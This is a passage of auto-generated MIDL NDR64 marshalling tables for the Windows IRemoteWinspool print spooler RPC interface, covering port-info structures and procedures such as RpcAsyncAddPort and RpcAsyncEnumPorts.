/* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag770_t __midl_frag770 =\n{ \n/* *PORT_INFO_FF */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag771\n};\n\nstatic const __midl_frag769_t __midl_frag769 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    }\n};\n\nstatic const __midl_frag767_t __midl_frag767 =\n{ \n/* PORT_INFO_3 */\n    { \n    /* PORT_INFO_3 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PORT_INFO_3 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */,\n        0,\n        0,\n        &__midl_frag769,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* PORT_INFO_3 */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag766_t __midl_frag766 =\n{ \n/* *PORT_INFO_3 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag767\n};\n\nstatic const __midl_frag762_t __midl_frag762 =\n{ \n/* PORT_INFO_2 */\n    { \n    /* PORT_INFO_2 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PORT_INFO_2 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 32 /* 0x20 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag947\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag947\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 16 /* 0x10 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag947\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag761_t __midl_frag761 =\n{ \n/* *PORT_INFO_2 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag762\n};\n\nstatic const __midl_frag759_t __midl_frag759 =\n{ \n/* PORT_INFO_1 */\n    { \n    /* PORT_INFO_1 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PORT_INFO_1 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag947\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag758_t __midl_frag758 =\n{ \n/* *PORT_INFO_1 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag759\n};\n\nstatic const __midl_frag757_t __midl_frag757 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_OPERATOR */\n        0x4,    /* FC_EXPR_OPER */\n        0x1b,    /* OP_AND */\n        0x0,    /* FC64_ZERO */\n        (NDR64_UINT8) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_EXPR_CONST64 */\n        0x2,    /* FC_EXPR_CONST64 */\n        0x7,    /* FC64_INT64 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT64) 16777215 /* 0xffffff */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */\n    }\n};\n\nstatic const __midl_frag756_t __midl_frag756 =\n{ \n/* __MIDL_IRemoteWinspool_0011 */\n    { \n    /* __MIDL_IRemoteWinspool_0011 */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag757,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 4 /* 0x4 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag758,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag761,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 3 /* 0x3 */,\n        &__midl_frag766,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 16777215 /* 0xffffff */,\n        &__midl_frag770,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag755_t __midl_frag755 =\n{ \n/* PORT_CONTAINER */\n    { \n    /* PORT_CONTAINER */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PORT_CONTAINER */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag756\n        },\n        { \n        /* PORT_CONTAINER */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag751_t __midl_frag751 =\n{ \n/* RpcAsyncAddPort */\n    { \n    /* RpcAsyncAddPort */      /* procedure RpcAsyncAddPort */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag942,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pPortContainer */      /* parameter pPortContainer */\n        &__midl_frag755,\n        { \n        /* pPortContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pPortVarContainer */      /* parameter pPortVarContainer */\n        &__midl_frag776,\n        { \n        /* pPortVarContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pMonitorName */      /* parameter pMonitorName */\n        &__midl_frag947,\n        { \n        /* pMonitorName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag948,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag743_t __midl_frag743 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 32 /* 0x20 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag742_t __midl_frag742 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag743\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag883\n    }\n};\n\nstatic const __midl_frag741_t __midl_frag741 =\n{ \n/* *char */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 32 /* 0x20 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag742\n};\n\nstatic const __midl_frag737_t __midl_frag737 =\n{ \n/* RpcAsyncEnumMonitors */\n    { \n    /* RpcAsyncEnumMonitors */      /* procedure RpcAsyncEnumMonitors */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 64 /* 0x40 */ ,  /* Stack size */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag1021,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag1018,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pMonitor */      /* parameter pMonitor */\n        &__midl_frag741,\n        { \n        /* pMonitor */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag948,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag948,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* pcReturned */      /* parameter pcReturned */\n        &__midl_frag948,\n        { \n        /* pcReturned */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag948,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag728_t __midl_frag728 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag743\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag1014\n    }\n};\n\nstatic const __midl_frag727_t __midl_frag727 =\n{ \n/* *char */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 32 /* 0x20 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag728\n};\n\nstatic const __midl_frag723_t __midl_frag723 =\n{ \n/* RpcAsyncEnumPorts */\n    { \n    /* RpcAsyncEnumPorts */      /* procedure RpcAsyncEnumPorts */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 64 /* 0x40 */ ,  /* Stack size */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag1034,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag1103,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pPort */      /* parameter pPort */\n        &__midl_frag727,\n        { \n        /* pPort */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag1018,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag1018,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* pcReturned */      /* parameter pcReturned */\n        &__midl_frag1018,\n        { \n        /* pcReturned */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1018,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag720_t __midl_frag720 =\n{ \n/* *DWORD */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 12 /* 0xc */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag1103\n};\n\nstatic const __midl_frag716_t __midl_frag716 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag831\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag1042\n    }\n};\n\nstatic const __midl_frag715_t __midl_frag715 =\n{ \n/* *char */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 32 /* 0x20 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag716\n};\n\nstatic const __midl_frag709_t __midl_frag709 =\n{ \n/* RpcAsyncGetPrintProcessorDirectory */\n    { \n    /* RpcAsyncGetPrintProcessorDirectory */      /* procedure RpcAsyncGetPrintProcessorDirectory */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 64 /* 0x40 */ ,  /* Stack size */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag957,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* 